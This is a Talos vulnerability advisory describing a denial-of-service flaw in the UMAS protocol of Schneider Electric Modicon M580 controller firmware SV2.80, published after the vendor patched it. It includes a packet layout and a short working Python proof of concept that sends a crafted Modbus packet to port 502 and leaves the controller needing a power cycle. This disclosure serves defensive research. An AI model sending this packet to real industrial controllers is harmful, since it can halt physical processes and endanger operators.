Talos Vulnerability Report

Summary

An exploitable denial of service vulnerability exists in the UMAS Read System Coils and Registers functionality of the Schneider Electric Modicon M580 Programmable Automation Controller firmware version SV2.80. A specially crafted UMAS command can cause the device to enter a non-recoverable fault state, resulting in a complete stoppage of remote communications with the device. An attacker can send unauthenticated commands to trigger this vulnerability.

Tested Versions

Schneider Electric Modicon M580 BMEP582040 SV2.80

Product URLs

https://www.schneider-electric.com/en/work/campaign/m580-epac/

CVSSv3 Score

7.5 - CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H

CWE

CWE-248: Uncaught Exception

Details

The Modicon M580 is the latest in Schneider Electric’s Modicon line of Programmable Automation Controllers. The device boasts a Wurldtech Achilles Level 2 certification and global policy controls to quickly enforce various security configurations. Communication with the device is possible over FTP, TFTP, HTTP, SNMP, EtherNet/IP, Modbus, and a management protocol referred to as UMAS.

When a UMAS command is sent using the Read System Coils and Registers function code (0x24) it is possible to make the device enter a non-recoverable fault state, causing a denial of service condition.

The structure of a malicious Read System Coils and Registers command takes a form similar to the following:

    0   1   2   3   4   5   6   7   8   9   a   b   c   d   e   f
  +---+---+---+---+---+---+---+---+---+---+---+---+---+---+---+---+
0 | A | B | C |                         D                            
  +---+---+---+---+---+---+---+---+---+---+---+---+---+---+---+---+
1   <D cont.> |
  +---+---+---+

A --> Modbus Function Code  (0x5a)
B --> Session
C --> UMAS Function Code    (0x24)
D --> Data                  

In the non-recoverable fault state the CPU has entered an error mode where all remote communications have been stopped, process logic stops execution, and the device requires a physical power cycle to regain functionality.

Exploit Proof of Concept

import socket
  
def main():
    s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
    rhost = "192.168.10.1"
    rport = 502
    s.connect((rhost, rport))
    msg = "00000000000f005a002480a1a100f3a080a1000000".decode('hex')
    s.send(msg)
    s.close()
    
if __name__ == '__main__':
    main()

Timeline

2019-04-19 - Vendor Disclosure
2019-08-13 - Vendor Patched; Public Release